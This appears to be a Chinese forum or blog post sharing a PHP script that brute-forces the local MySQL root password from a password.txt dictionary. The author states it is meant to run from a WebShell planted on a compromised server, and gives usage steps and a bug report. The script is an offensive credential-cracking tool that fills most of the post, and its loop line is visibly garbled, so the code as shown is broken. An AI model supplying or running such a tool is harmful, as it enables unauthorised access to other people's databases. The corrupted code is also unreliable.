◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
复制代码
代码如下:
<?
set_time_limit(0); //脚本不超时
$user="root"; //用户名
$passwd=file("password.txt"); //密码字典
for($i=0;$i$pass=$passwd[$i];
connect($user,$pass);
flush();
}
echo "扫描结束!";
function connect($user,$pass) {
$conn=@mysql_connect("localhost",$user,$pass);
if($conn){
echo "得到密码:".$pass."
!!!
";
exit();
}
else {
echo $pass.'
';
}
}
?>
代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。
已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。
或许只是我个别原因?各位试试就知道了。
用法:
1、修改 PHP 代码中的用户名
2、准备字典 password.txt,每行一个,理论上支持无数行。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。